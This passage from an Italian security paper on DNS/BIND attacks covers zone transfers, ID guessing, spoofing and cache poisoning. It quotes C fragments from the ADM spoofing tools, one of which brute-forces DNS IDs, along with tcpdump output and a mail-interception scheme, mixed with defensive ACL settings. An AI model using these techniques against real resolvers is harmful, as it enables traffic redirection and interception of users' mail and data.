| RP 17 indirizzo responsabile sysdmin [RFC1183] |
| AFSDB 18 AFS Data Base locatio n [RFC1183] |
| X25 19 indirizzi X.25 PSDN [RFC1183] |
| ISDN 20 per indirizzi ISDN [RFC1183] |
| RT 21 per Route Through [RFC1183] |
| NSAP 22 indirizzi NSAP [RFC1706] |
| NSAP-PTR 23 NSAP pointer |
| SIG 24 eventuale security signature [RFC2065] |
| KEY 25 security key [RFC2065] |
| PX 26 informazioni di mail mapping su X.400 [RFC2163] |
| GPOS 27 posizione geografica [RFC1712] |
| AAAA 28 indirizzo IPV6 (al posto di AA) [Thomson] |
| LOC 29 informazioni localita' [Vixie] |
| NXT 30 next Domain [RFC2065] |
| EID 31 Identificatore Endpoint [Patton] |
| NIMLOC 32 Nimrod Locator [Patton] |
| SRV 33 Server Selection [RFC2052] |
| ATMA 34 Indirizzo ATM [Dobrowski] |
| NAPTR 35 Naming Authority Pointer [RFC2168] |
| KX 36 Key Exchanger [RFC2230] |
| CERT 37 CERT [Eastlake] |
| TKEY 249 TKEY [Eastlake] |
| TSIG 250 Signature transazioni [Vixie] |
| IXFR 251 Trasferimento incrementale [RFC1995] |
| AXFR 252 trasferimento di zona [RFC1035] |
| MAILB 253 mailbox-related RRs (MB, MG o MR) [RFC1035] |
| MAILA 254 mail agent RRs(deprecato a favore MX)[RFC1035] |
| * 255 richiesta di tutti i RR (come ANY) [RFC1035] |
| |
| Gli OPCODE sono i seguenti: |
| |
| OpCode Name Referimenti |
| ------ ---- ---------- |
| 0 Query [RFC1035] |
| 1 IQuery [RFC1035] |
| 2 Status [RFC1035] |
| 3 reserved [IANA] |
| 4 Notify [RFC1996] |
| 5 Update [Vixie] |
| |
| GLI RCODE sono : |
| |
| RCode Name Riferimenti |
| ------ ---- ---------- |
| 0 NoError No Error [RFC1035] |
| 1 FormErr Format Error [RFC1035] |
| 2 ServFail Server Failure [RFC1035] |
| 3 NXDomain Non-Existent Domain [RFC1035] |
| 4 NotImp Not Implemented [RFC1035] |
| 5 Refused Query Refused [RFC1035] |
| 6 YXDomain Name Exists when it should not [RFC2136] |
| 7 YXRRSet RR Set Exists when it should not [RFC2136] |
| 8 NXRRSet RR Set that should exist does not [RFC2136] |
| 9 NotAuth Server Not Authoritative for zone [RFC2136] |
| 10 NotZone Name not contained in zone [RFC2136] |
| |
| |
| 0x06 => Tipologia di attacchi ai server dns: |
| |
| I server dns sono tra i server piu presi di mira dagli attacker di |
| skill medio fino ai piu' skillati, in quanto permettono senza |
| particolari difficolta' di fare molte cosette a volte anche di una |
| certa importanza e pericolosita'. |
| |
| Si pensi ad una societa' di e-commerce famosa alla quale venisse |
| rediretto tutto il traffico in ingresso verso un'altra destinazione. |
| I danni a livello economico e di immagine sarebbero elevati! |
| La prima redirezione dovuta ad un'attacco di dns-poisoning fu ad |
| un societa' famosa...: www.internic.net, il quale traffico venne |
| rediretto verso www.alternic.net ad opera dell'hacker E. Kaspureff. |
| |
| Occupandoci prevalentmente del daemon Bind,essendo il piu' presente |
| in rete ed uno dei migliori se ben gestito, diamo una occhiata alle |
| diverse versioni principali in modo da sapere se e' possibile |
| effettuare/ricevere un attacco e di che tipo. |
| |
| Le principali versioni di Bind sono: |
| |
| Bind 4.x |
| Considerata da molti la vera versione di Bind, e' ancora molto |
| presente in rete. Il codice e' stato sottoposto ad audit maggiore |
| rispetto alle altre versioni anche se non e' da considerarsi il |
| massimo della funzionalita'. Le ultime versioni contengono le |
| stesse patch della 8.x, ma il suo sviluppo e' ormai cessato. |
| Le versioni antecedenti la 4.9.6 e 4.9.6-p1 hanno il problema |
| di non verificare i record aggiunti nelle response dagli altri |
| name server (campo Additional Data). |
| Cosi' le info aggiuntive vengono inserite direttamente nella cache |
| in quanto ritenute utili. |
| |
| - Bind 8.x |
| Successore di 4.x apporta notevoli implementazioni comode ed utili |
| che, come sempre, in poco tempo hanno mostrato l'altro lato della |
| medaglia mostrando diversi problemi. Cio' vale per tutti i sistemi |
| che cercano in tutti i modi di diventare user-friendly..troppo. |
| (Ogni riferimenti a Windoze e' puramente casuale.. :) |
| Questa versione supporta diverse opzioni di configurazione, |
| access list support,/etc/named.boot e' switchato a /etc/named.conf, |
| supporto dell'utilissimo ma altrettanto pericoloso DDns (Dynamic |
| dns) che permette aggiornamenti run.time tramite particolari packets, |
| ipv6 compliant, possibilita' di chrootarlo o chroot-jailarlo :=) etc. |
| Il sig. Theo Derat di openBSD e il suo team considerano il suo codice |
| troppo compplesso per essere analizzato bene, quindi ne sconsigliano |
| l'utilizzo. In ogno caso e' anch'esso uno dei piu' presenti in rete. |
| Le versioni antecedenti la 8.1.1 e 8.1.1-p1, oltre ad essere buggati |
| come la 4.x riguardo l'aggiunta di record nel campo Additional e a |
| presentare problemi di zone transfer se non posta in deny tramite le |
| apposite acl che vedremo piu' avanti nel paper, presenta problemi di |
| buffer overflow che, nel caso in cui sia in run come root... |
| |
| - Bind 9.x |
| L'ultima versione di Bind,ancora giovane e quindi poco usata sia per |
| motivi di "non c'ho voglia di fare l'upgrade, mi va bene cosi'", sia |
| per problemi di sicurezza che portano a deprecare l'uso di versioni |
| troppo nuove perche' sempre con qualche problema.. |
| Il codice e' stato praticamente riscritto, rimodellata l'architettura |
| per migliorarne la manutenzione, anche se sembra non aver migliorato |
| la leggibilita'.Questa versione ha le identiche feature della 8.x con |
| in aggiunta il supporto alle "dns-window" (che permettono di mostrare |
| differenti parti del dns a client diversi) e il supporto ai database, |
| nonche' altre migliorie di routine ai protocolli. |
| Qualche versione non ha ancora risolto il problema di alcuni bug tra |
| cui quelli visti sopra, che nella maggior parte delle volte cmq sono |
| da attribuirsi alla "malagestione" da parte del sysadmin. |
| Qualcuno diceva:"Non ci son cattivi soldati,solo cattivi superiori".. |
| Di Bind 9.x e' stata scoperta ultimamente una vulnerabilita' che |
| consente di portare a termine un buffer overflow ed eseguire quindi |
| nella maggioranza dei casi codice arbitrario (vedremo dopo). |
| |
| Ricordo per chi non ha domestichezza con i tools *nix etc.. che per |
| avere la versione di un server dns occorre eseguire il seguente |
| comando: |
| |
| $ dig -t txt -c chaos VERSION.BIND @server_dns |
| |
| Ora vedremo le diverse metodologie di attacco possibili ai dns, quindi |
| mi concentrero' su quello per il quale sto scrivendo questa paper. |
| |
| -sub_A() DNS footprinting: { |
| |
| Anche se non e' da considerarsi una tipologia di attacco e' sempre un |
| modo che l'attacker ha per estorcere informazioni utili da un server |
| DNS riguardo sotto-sistemi e configurazioni varie. |
| Qui ci ci avvarremo di due tools compresi di default in ogni linux |
| distro: `host` e `nslookup`. |
| |
| Intanto nel terz'ultimo paragrafo "DNS parameters" troverete appunto |
| la lista dei diversi parametri dello standard del protocollo dns che |
| comunque spero siano conosciuti (almeno i piu' utili). |
|

  
|
| Metodi di raccolta di informazioni possono essere: |
| |
| $ nslookup www.sikurezza.org |
| server: tin.it |
| Address: 193.70.192.25 |
| |
| Non-authoritative answer |
| www.sikurezza.org canonical name = sikurezza.org. |
| |
| Name: www.sikurezza.org |
| Address: 151.8.1.46 |
| |
| Il tool nslookup viene considerato deprecato in quanto esistono altri |
| tools specifici di gestione dns, ma risulta sempre comodo e valido. |
| |
| $ host www.sikurezza.org |
| www.sikurezza.org. in an alias for sikurezza.org |
| sikurezza.org has address 151.8.1.46 |
| |
| Altre informazioni possono essere richieste settando come class type |
| il valore ANY (255): |
| |
| $ host -t ANY sikurezza.org |
| sikurezza.org. mail is handles by 10 sikurezza.org. |
| sikurezza.org. has address 151.8.1.46 |
| sikurezza.org. name server ns1.sikurezza.org. |
| sikurezza.org. name server ns2.sikurezza,org. |
| |
| Le info sopra riportate sono nella normalita' di una query.. i tipi |
| che non andrebbero settati in quanto non necessari e probabilmente |
| pericolosi sono HINFO e TXT, ed a volte anche RP. |
| |
| }; |
| |
| -sub_B() DNS zone transfer: { |
| |
| Una della grandi feature del protocollo dns e di Bind e' la |
| possibilita' di gestione della ridondanza tra server dns. |
| Come si sa, normalmente per ciascun dominio esiste un sistema |
| per la gestione del DNS primario; tutti gli altri sono secondari |
| e trasferiscono la zona DNS in caso di modifiche, e sono detti |
| server "slave". Per configurare un sistema come slave basta |
| inserire in /etc/named.conf (o /etc/named.boot se con bind 4.x) |
| cio' che segue: |
| |
| zone "pippo.com" { |
| type slave; file "slave_pippo.com"; |
| masters { ip_dns_master; }; |
| }; |
| |
| Questa sopra e' una tipica configurazione base, quindi non sicura. |
| Tant'e' che in caso di questa configurazione un attacker puo' |
| facilmente effettuare un trasferimento di zona senza neanche |
| montare un server Bind cercando di farlo passare come parte di |
| quella rete. |
| |
| $ host -t NS pippo.com |
| pippo.com. name server ns1.pippo.com |
| pippo.com. name server ns2.pippo.com |
| |
| $ host -l pippo.com ns1.pippo.com |
| pippo.com. name server ns1.pippo.com |
| pippo.com. name server ns2.pippo.com |
| www.pippo.com has address 192.168.1.1 |
| mail.pippo.com has address 192.168.1.2 |
| mailbk.pippo.com has address 192.168.2.2 |
| 192.168.1.1.pippo.com domain name pointer mail.pippo.com |
| ftp_anon.pippo.com has address 192.168.1.3 |
| |
| Chiaramente e' corretto lasciare la possibilita' ai dns secondari di |
| trasferire la zona aggiornando i relativi database. Ma e' anche certo |
| che per la nostra sicurezza non e' corretto lasciare che chiunque lo |
| faccia vedendo tutti i nostri indirizzi interni. Ad uopo soggiunge |
| una configurazione atta a non permettere il trasferimento di zona "to |
| anyone"
, facilmente intuibile grazie ai vari man di bind. |
| E' addirittura possibile impostare voci globali e quando necessario |
| sottovoci specifiche. Vediamo come: |
| |
| options { |
| ..snip.. |
| allow-transfer { ip_auth_1; }; |
| }; |
| |
| zone "pippo.com" { |
| type master; |
| file "master_pippo.com"; |
| allow-transfer { ip_auth_2; ip_auth_3;}; |
| }; |
| |
| zone "pippo.org" { |
| type master; |
| file "master_pippo.org"; |
| }; |
| |
| zone "pippo.edu" { |
| type slave; |
| masters { ip_masters; }; |
| file "slave_pippo.edu"; |
| allow-transfer { none; }; |
| }; |
| |
| Con la precedente configurazione permettiamo: |
| |
| - pippo.org puo' effettuare un AXFR solo da ip_auth_1,date le globali. |
| - pippo.com puo' effettuare un AXFR solo da ip_auth_2 e ip_auth_3. |
| - pippo.edu NON effettuera' trasferimenti da nessuno. |
| |
| Nel caso un attacker chiedesse un AFXR illecito syslogd loggera' |
| tutto: |
| |
| named[pid]: unapproved AFXR from [ip_attkr].port for "pippo.com" (acl) |
| named[pid]: unapproved AFXR from [ip_attkr].port for "pippo.org" (acl) |
| |
| }; |
| |
| -sub_C() DNS Denial of Service: { |
| |
| Ed eccoci arrivati al punto Denial of Service.. con i server DNS |
| i DoS sono implementati principalmente in due modi: |
| - buffer overflow e dintorni |
| - ridirezioni nulle |
| |
| Sono molti, la maggior parte, gli exploit che sfruttano un buffer |
| overflow per ritornare una sh# o per eseguire un comando come root |
| o ancora per provocare un Denial of Service. Questo perche' non si |
| basano su errori della macchina, bensi' sugli errori dell'uomo |
| tradotti in coding errato e/o pericoloso, a volte per semplificare |
| alcune operazioni o per ridurre le linee di codice..a volte per |
| le troppe linee di codice che poi risultano difficili da anlizzare. |
| |
| In Bind sono stati trovati buffer overflow per ogni versione |
| principale ma, essendo facilmente approfondibili in rete sui siti |
| opportuni qui non ne parleremo. |
| Diro' qualcosa invece su un problema di BO riscontrato nelle ultime |
| versione di Bind antecedenti la 9.2.1. |
| |
| Questo problema risale a qualke giorno fa,precisamente al 04.06.2002 |
| data CERT. |
| Sono stati riscontrati vulnerabili 139 server su 1000 in USA (dati |
| Men & Mice) che "vestivano" la versione 9.x (ancora pochi). |
| Di questo bug non sono vulnerabili le versioni 4.x e 8.x. |
| Il bug consente ad un attacker di mandare in shutdown un server Bind |
| inviando un pacchetto specifico designato per far scattare un check |
| di consistenza interno. In ogni caso questo bug non consente di |
| eseguire codice o altro, ma solo di causare un down. |
| |
| Il problema che causa lo shutdown di Bind sovviene quando il parametro |
| "rdataset" della dns_message_findtype() contenuta in message.c non e' |
| NULL come atteso. La condizione fa si che il codice invii un error |
| message e chiami la abort(). |
| |
| Purtroppo i DNS configurati male che consentono attacchi di ogni tipo |
| sono ancora molti; vediamo una statistica effettuata da M : |
| |
| Aziende USA con almeno 1 Bind vulnerabile (v.8.2.x prima di v.8.2.3) |
| 01/30/01 33.30% |
| 02/07/01 17.40% |
| 02/13/01 13.80% |
| 02/21/01 12.40% |
| 03/28/01 9.98% |
| |
| Per i server autoritativi al TLD .com : |
| 31 Jan '01 5500 40.27% |
| 07 Feb '01 2200 16.73% |
| 14 Feb '01 5000 11.77% |
| 21 Feb '01 5500 13.10% |
| 28 Mar '01 2000 10.30% |
| |
| Come accennato prima, un altro problema che puo' portare ad un Dos |
| sono le ridirezioni nulle. |
| Si pensi ad esempio se per un portale importante come, ad esempio, |
| www.amazon.com si cambiasse la mappatura: |
| |
| amazon.com. IN A 207.171.83.16 |
| www IN CNAME amazon.com. |
| |
| con la mappatura: |
| |
| amazon.com. IN A ip_fittizio,nullo,o proprio |
| www IN CNAME amazon.com. |
| |
| oppure la mappatura: |
| |
| amazon.com. IN A 207.171.83.16 |
| mail IN CNAME amazon.com. |
| amazon.com. IN MX 10 amazon.com. |
| |
| |
| con la piu' pericolosa ai fini della privacy e non solo: |
| |
| amazon.com. IN A ip_attacker |
| mail IN CNAME amazon.com. |
| amazon.com. IN MX 10 amazon.com. |
| |
| |
| E' facile intuire che in questo modo tutte le mail inviate agli |
| appartenenti al dominio @amazon.com verrebbero inviate all'attacker |
| causando non pochi problemi di provacy, sicurezza etc. etc... |
| Volendo dirla tutta l'attacker potrebbe benissimo non essere scoperto |
| in breve tempo se approntasse con qualche riga di C un mail forwarder |
| che riceva le mail, ne faccia una copia, e le forwardi al vero ip |
| di amazon.com ... |
| Le cose fattibili con i server DNS sono limitate solo dalla fantasia.. |
| |
| }; |
| |
| -sub_D() DNS ID guessing: { |
| |
| Per ID guessing si intende la predizione dell'ID che contrassegna |
| una coppiata query/response, atta a stabilire una relazione tra di |
| essa e quindi evitare di utilizzare una response errata per una query |
| corretta. E' usata anche come sicurezza in quanto se un attacker |
| dovesse inviare una response a caso con i dati dell'attacco, questi |
| verrebbero ignorati per la mancata corrispondenza dell'ID. |
| Quindi preventivamente ad un attacco di dns spoofing/poisoning viene |
| spesso usata questa tecnica.La sintassi e' la medesima dell'ID guessing |
| (o ID prediction) dei pacchetti TCP al fine di portare a termine un |
| attacco di session hijacking o di man in the middle. |
| Nel caso del DNS ID guessing la cosa e' piu' semplice, ma non sempre. |
| Normalmente (di default, e quindi per la maggior parte dei server) il |
| cambio dell'ID di un pacchetto dns avviene incrementalmente dal primo |
| inviato in avanti, quindi la prima query avra' (ad esempio) ID 1, la |
| seconda ID 2 etc...fino a raggiungere 65536, ovvero 16 bit (unsigned |
| short), per poi reiniziare il tour. |
| Il problema sorge nel momento in cui l'admin decide di hardenizzare |
| intelligentemente il server per evitarsi problemi. |
| Tre modi di evitare l'ID guessing sono: |
| - l'adozione della patch dello SNI che permette di randomizzare l'ID; |
| - l'adozione di DNSSec; |
| - l'adozione della patch dello SNI che permette di randomizzare l'ID; |
| - l'adozione di DNSSec; |
| - l'adozione di Bind 9.x che adotta la randomizzazione di default. |
| |
| Per controllare se un server e' vulnerabile basta inviare delle query |
| al server target (supponendo che il data flow sia sul proprio segmento |
| di rete) ed analizzare le query in uscita da esso per vedere se sono |
| predicibili. |
| |
| Le metodologie di predizione dell'ID sono sostanzialmente due, scelte |
| a seconda che l'attacker abbia o no una shell root su un server dns |
| autoritativo per la zona interessata (quindi per tizio.caio.edu avere |
| root su caio.edu, il SLD). |
| |
| Supponiamo di avere una shell # sul dns server ns.medium.org che e' |
| autoritativo per il SLD medium.org e di voler probare il dns server |
| ns.vittima.edu (autoritativo per il SLD vittima.edu) per carpire se |
| e' o no vulnerabile all'ID guessing. |
| Quando usiamo il tool `nslookup' o 'host', il programma invia delle |
| query al server di default (/etc/resolv.conf) con il bit RD (recursion |
| desired) settato a 1. Il server di default inviera' quindi le query di |
| risoluzione per noi e ci ritornera' la risposta una volta trovata, |
| supponendo che non l'abbia gia in cache. |
| Se l'avesse in cache saremmo gia scremati in partenza in quanto non ci |
| permetterebbe di vedere i pacchetti in uscita. |
| Per questo motivo il comando corretto per iniziare l'ID guessing ad |
| alto livello e': |
| |
| attacker]$ nslookup host.medium.org ns.vittima.edu |
| |
| che ci permette di indicare al nostro resolver quale server usare per |
| iniziare una risoluzione ricorsiva. |
| In questo caso ns.vittima.edu inviera' per l'attacker una query a |
| ns.medium.org (che l'attacker ha in possesso) chiedendo di risolvere |
| un record A (type 1) per host.medium.org. L'attacker, essendo sulla |
| macchina (o sullo stesso segmento di rete) di medium.org, puo' |
| semplicemente attivare tcpdump per vedere l'ID del pacchetto ed altre |
| flags utili. Il formato di dump di tcpdump per le query DNS e': |
| |
| src > dst: id op? flags qtype qclass name (len) |
| es. ns.vittima.edu.1538 > ns.medium.org.53: 3+ A? host.medium.org. (33) |
| |
| La sua interpretazione e': |
| from : ns.vittima.edu |
| sport: 1538 |
| to : ns.medium.org |
| dport: 53 |
| ID : 3 |
| type : A |
| host : host.medium.org |
| size : 33bytes |
| |
| La flag '+' dopo l'ID number indica il bit RD (recursion desired). |
| [ man tcpdump ] |
| |
| Supponiamo quindi di inviare piu' query consecutive,e di fare lo stesso |
| dal lato server compromesso e di avere questa situazione: |
| |
| ns.vittima.edu.1538 > ns.medium.org.53: 3+ A? host.medium.org. (33) |
| ns.vittima.edu.1539 > ns.medium.org.53: 4+ A? host.medium.org. (33) |
| ns.vittima.edu.1540 > ns.medium.org.53: 5+ A? host.medium.org. (33) |
| ns.vittima.edu.1541 > ns.medium.org.53: 6+ A? host.medium.org. (33) |
| ns.vittima.edu.1542 > ns.medium.org.53: 7+ A? host.medium.org. (33) |
| ns.vittima.edu.1543 > ns.medium.org.53: 8+ A? host.medium.org. (33) |
| ns.vittima.edu.1544 > ns.medium.org.53: 9+ A? host.medium.org. (33) |
| ns.vittima.edu.1545 > ns.medium.org.53: 10+ A? host.medium.org. (33) |
| ns.vittima.edu.1546 > ns.medium.org.53: 11+ A? host.medium.org. (33) |
| |
| E' facile capire come per questo server sia facilmente predicibile l'ID |
| da allegare ad una possibile response falsa con i dati che vorremmo |
| aggiungere in cache. |
| In una rete local basterebbe semplicemente rispondere subito alla query |
| prima del vero server utilizzando lo stesso ID e IP spoofato. |
| Ma cio' lo vedremo nei prossimi capitoli. |
| |
| Nel caso invece di : |
| |
| ns.vittima.edu.1538 > ns.medium.org.53: 22+ A? host.medium.org. (33) |
| ns.vittima.edu.1539 > ns.medium.org.53: 3+ A? host.medium.org. (33) |
| ns.vittima.edu.1540 > ns.medium.org.53: 253+ A? host.medium.org. (33) |
| ns.vittima.edu.1541 > ns.medium.org.53: 1828+ A? host.medium.org. (33) |
| ns.vittima.edu.1542 > ns.medium.org.53: 213+ A? host.medium.org. (33) |
| ns.vittima.edu.1543 > ns.medium.org.53: 99+ A? host.medium.org. (33) |
| |
| sarebbe molto piu' complicato in quanto il server ns.vittima.edu sta |
| probabilmente usando la patch dello SNI o Bind 9.x (basta chiedere |
| un BIND.VERSION e se non e' 9.x significa che sta usando la patch). |
| |
| A basso livello un programma che si occupa di questo (a dire il vero |
| implementa anche il poisoning) e', ad esempio, ADMsnOOfID di shok(ADM). |
| |
| ADMsnOOfID usage: |
| ADMsnOOfID <device to spoof> <NS victim> <your domain> <ip of your dns> |
| <type (1,12)> <spoof name> <spoof ip> <ns with auth on spoof ip/name> |
| |
| Questa routine e' creata tramite invio di un pacchetto in questo modo: |
| |
| <---from ADMsnOOfID.c---thanks to shok-;)---> |
| |
| /* make the question for get the ID */ |
| |
| sprintf(namefake,"%d%d%d.%s",myrand(),myrand(),myrand(),argv[3]); |
| dnssend->id = 2600; |
| dnssend->qr = 0; |
| dnssend->rd = 1; |
| dnssend->aa = 0; |
| dnssend->que_num = htons(1); |
| dnssend->rep_num = htons(0); |
| i = makepaketQS(data2,namefake,TYPE_A); |
| udp_send(sraw, s_ipns, d_ip,2600+con, 53, buffer2, DNSHDRSIZE+i); |
| |
| <---EoF--> |
| |
| la prima sprintf() crea un fakename di host tramite una implementazione |
| della rand() con base il SLD in possesso dell'attacker. |
| A questo punto riempie i campi dell'header dns con rd=1, crea il campo |
| questions data del pacchetto con makepaketQS() sviluppata in ADMDNS.c |
| che sistema i campi a seconda che il type della query sia TYPE_A o |
| TYPE_PTR,quindi con la udp_send() contenuta in ADM-spoof.c costruisce |
| l'intero pacchetto aggiungendo header IP e UDP con IPPROTO_UDP e senda |
| tutto. Allo stesso tempo si attende la query di ritorno del server per |
| dumparne l'ID. |
| |
| la struct del pacchetto dns e' semplice ed e' la seguente: |
| |
| struct dnshdr { |
| unsigned short int id; |
| |
| unsigned char rd:1; /* recursion desired */ |
| unsigned char tc:1; /* truncated message */ |
| unsigned char aa:1; /* authoritive answer */ |
| unsigned char opcode:4; /* purpose of message */ |
| unsigned char qr:1; /* response flag */ |
| |
| unsigned char rcode:4; /* response code */ |
| unsigned char unused:2; /* unused bits */ |
| unsigned char pr:1; /* primary server required (non standard) */ |
| unsigned char ra:1; /* recursion available */ |
| |
| unsigned short int que_num; |
| unsigned short int rep_num; |
| unsigned short int num_rr; |
| unsigned short int num_rrsup; |
| }; |
| |
| Ora analizziamo pero' il caso in cui l'attacker non sia cosi' fortunato |
| da possedere una sh root su un dns autoritativo per un TLD. |
| |
| La metodologia utilizzata per far cio' e' una sorta di brute force di |
| response al server dns vittima per tentare di centrarne una. Si, non |
| e' un metodo elegante..per niente.. ma a volte riesce nel suo intento |
| senza sprecare troppa banda.. |
| |
| Un tool che fa questo e' ADMnOg00d, ancora del buon shok degli ADM. |
| |
| Usage: |
| ADMnoG00D <your ip> <dns trust> <domaine trust> <ip victim> <TYPE> |
| spoofname> <spoof ip> <ns.trust.for.the.spoof> [ID] |
| |
| L'attacker puo' comunque non difficilmente inviare qualke query al |
| server vittima per vedere all'incirca a che punto e' l'ID counter e |
| stare in quel range per le response. Questo tool e' definito dallo |
| stesso shok un "DNS ID brutal predictor" che lo descrive pienamente. |
| |
| Esempio di ritorno di query: |
| |
| ns.vittima.edu.1538 > hacker.31337.edu.53: 693+ A? host.medium.org.(33) |
| |
| In questo caso l'attacker usera' un ID, ad esempio, di 710 con valore |
| decrementale in modo da tentare il completamento dell'accoppiata |
| ID query/response. Tutto cio' tramite questo semplice loop: |
| |
| <--from--ADMnOg00d.c--> |
| |
| for(;loop >= ID-10 ;loop--){ |
| dns->id = htons(loop); |
| dns->qr = 1; |
| dns->rd = 1; |
| dns->aa = 1; |
| dns->que_num = htons(1); |
| dns->rep_num = htons(1); |
| |
| i=makepaketAW(data,fakename,SPOOFIP,TYPE_A); |
| udp_send(sraw,trust,d_ip2,53,53,buffer2,DNSHDRSIZE+i); |
| } |
| |
| <--EoF--> |
| |
| dove loop equivale al campo [ID] da noi inserito e corrispondente |
| ad argv[9]. Se non fosse immesso il tool partira' da 65535 (assai |
| menu funzionale ed assai brutale.. ). |
| |
| Ora che ho analizzato anche l'ID guessing, si puo' passare con balzo |
| deciso ai prossimi paragrafi che analizzano in dettaglio DNS spoofing |
| e DNS caching/poisoning. |
| |
| -sub_E() DNS Spoofing: { |
| |
| Il DNS spoofing e' l'aperitivo di un DNS caching/poisoning/hijacking |
| in quanto permette ad un host di figurare come un altro che potrebbe |
| avere relazioni di fiducia (trusted-hosts) con il server attaccato. |
| Nel testo non analizzero' lo spoofing in generale in quanto dovrebbe |
| essere una prerogativa di chi legge questo paper; si sappia solo che |
| la tipologia di spoofing che viene attuata con i DNS e' di tipo |
| blind-spoofing, ovvero spoofing cieco. |
| Poniamo di avere una shell # su di un server DNS autoritativo per un |
| dominio. Ponendo in essere l'attacco esposto nel paragrafo precedente |
| notiamo che la shell ci serve per trovare a che punto e' l'ID del |
| server sotto attacco per poi inviargli una response con lo stesso ID al |
| fine di renderla valida. |
| Spoofing sinteticamente significa appunto l'impersonificazione di un |
| host in un altro per vari fini. |
| Il DNS spoofing puo' essere attuato per diversi modi, ad esempio tra |
| i piu' utilizzati: |
| - zone transfer: supponendo di avere configurato un server DNS con ACL |
| di tipo allow-transfer tipo: |
| |
| zone "pippo.com" { |
| type master; |
| file "master_pippo.com"; |
| allow-transfer { 192.168.0.2;}; |
| }; |
| |
| tramite spoofing l'attacker con IP 31.3.3.7 in ascolto sullo stesso |
| segmento di rete puo' tranquillamente forzare una zone transfer e |
| intercettare la tabella delle zone della rete interna. Non e' molto |
| carino permettere ad un attacker di sapere la topologia interna degli |
| host e i loro nomi, anche perche' in molti casi il corrispettivo |
| logico dell'IP e' un nome mnemonico che descrive anche l'host e la |
| sua funzione all'interno della rete. Capiamo bene che se l'attacker |
| dovesse entrare in possesso ad esempio di queste informazioni: |
| |
| 192.168.0.25 IN PTR database.pippo.com. |
| fw.pippo.com. IN A 192.168.0.254 |
| 192.168.0.22 IN PTR ssh.pippo.com. |
| |
| saprebbe subito gli host da colpire e la loro posizione al'interno |
| della rete.. |
| |
| - caching/poisoning/updating: per il caching e il poisoning e' facile |
| intuire che se l'attacker riesce a venire a conoscenza del corretto |
| ID della query in uscita dal server che effettuera' la recursive |
| resolution, non ci vuole poi molto ad inviare una response con IP |
| sorgente identico a quello del server autoritativo per quel SLD |
| e cambiare informazioni o magari aggiungerne in modo da essere |
| ritenute valide dal server attaccato (sempre se i pacchetti arrivano |
| prima del server reale..). |
| Per l'updating, se ad esempio abbiamo configurato un DNS nel seguente |
| modo: |
| |
| zone "pippo.com" { |
| type master; |
| file "master_pippo.com"; |
| allow-update { 192.168.0.2;}; |
| }; |
| |
| e' semplice intuire a cosa possa servire in questo caso DNS spoofing. |
| |
| Nei prossimi due paragrafi andro' ad illustrare ed analizzare,in teoria |
| ed in pratica, come vengono effettuati i "sempreverdi" attacchi di |
| DNS caching/poisoning e di DDNS update spoofing, che sono il fulcro |
| ed il culmine del presente testo nonche' il core del progetto AmPaRo. |
| |
| }; |
| |
| -sub_F() DNS poisoning/caching: { |
| |
| Eccoci arrivati alla parte forse piu' interessante del presente testo, |
| assieme al prossimo ed ultimo paragrafo conclusivo del capitolo |
| riguardante l'analisi tipologica dei diversi tipi di attacchi ai server |
| DNS. I punti precedenti sono in definitiva i passi da eseguire ( ad |
| eccezione dell'attacco DoS) per raggiungere un obiettivo preciso,ovvero |
| per l'attuazione dell'attacco esposto nel presente paragrafo e nel |
| seguente. |
| |
| Per DNS poisoning/caching si intende l'inserimento/sostituzione di dati |
| falsi in un database/cache al fine di modificare la risoluzione di un |
| nome logico o di un IP address per diversi scopi (DoS, redirection..). |
| |
| Nei paragrafi precedenti ho analizzato i passi intermedi che vengono |
| compiuti da un attacker per finalizzare l'attacco;per ricordarlo questi |
| sono: |
| |
| - DNS footprinting |
| - DNS ID guessing |
| - DNS spoofing |
| |
| gli ultimi 2 passi, data la loro imminente sequenzialita', solitamente |
| sono raggruppati in un unico "big-step" e inseriti assieme in un unico |
| tool. |
| Sono usati diversi modi per effettuare questo attacco; io analizzero' |
| i 2 che ritengo migliori in quanto ad algoritmo ed efficienza in ordine |
| dal minore al migliore. |
| |
| Per spiegare il funzionamento dell'attacco in modo semplice e chiaro |
| (lo spero.. :P) mi avvarro' di "macro" sostitutive di hostname e ip. |
| |
| Topologia reti e macro preventive: |
| |
| DNS_VITTIMA=> x.x.x.1 -> ns.vittima.edu -> dns vittima |
| SER_VITTIMA=> x.x.x.x -> serv.vittima.edu -> servizio su vittima.edu |
| DOM_TRUST => x.x.x.2 -> trust.edu -> dominio di trust |
| DNS_TRUST => x.x.x.3 -> ns.trust.edu -> dns dominio di trust |
| SPOOF_TRUST=> x.x.x.4 -> ns.firm.com -> dns di trust per spoof |
| ATTACKER => x.x.x.5 -> ppp-110.libero.it-> attacker |
| SPOOFNAME => h4x0r.evil.com -> da inserire in cache |
| SPOOFIP => 31.3.3.7 -> da inserire in cache |
| FAKE_IP1 => 1.1.1.1 -> ip fake per richieste |
| FAKE_IP2 => 2.2.2.2 -> ip fake per richieste |
| FAKE_IP3 => 3.3.3.3 -> ip fake per richieste |
| RAND_TRUST => x.x.x.6 -> rand.trust.edu -> fakename random |
| |
| ### PRIMO METODO ### |
| |
| Un metodo di media validita' e' quello che puo' essere chiamato "DNS ID |
| brutal predictor"
per la modalita' di inizio. |
| Questo metodo richiede solamente un sh# su di un host senza necessitare |
| di una sh # su un DNS autoritativo per un SLD. |
| Questo lo rende di gran lunga uno dei piu' utilizzati, soprattutto da |
| script-kiddye e vari, per compiere attacchi di DNS poisoning/caching. |
| Un tool che fa questo sporco lavoro e', ad esempio, ADMnOg00d di shok |
| degli ADM, che prenderemo come esempio per l'analisi dell'attacco. |
| |
| Nelle parti del sorgente originale,le variabili saranno sostituite da |
| macro predefinite precedentemente. |
| |
| L'attuazione di questo metodo poco ortodosso puo' essere riassunto |
| in 4 semplici passi principali: |
| |
| 1) Viene inviata una richiesta di risoluzione dell'hostname RAND_TRUST |
| al dns server vittima DNS_VITTIMA usando come indirizzo sorgente |
| FAKE_IP1.In questo modo DNS_VITTIMA iniziera' in modalita' ricorsiva |
| a cercare di risolvere il nome logico, arrivando a richiederlo a |
| DNS_TRUST. Ma se un fake DNS_TRUST inviasse risposte prima di quello |
| reale e riuscisse ad azzeccare il range dell'ID.... |
| |
| /* start source example */ |
| |
| sprintf(RAND_TRUST,"%i%i%i%i%i%i.%s", |
| myrand(), |
| myrand(), |
| myrand(), |
| myrand(), |
| myrand(), |
| myrand(), |
| DOM_TRUST); |
| |
| sendquestion(FAKE_IP1,DNS_VITTIMA,RAND_TRUST,TYPE_A); |
| |
| /* end source example */ |
| |
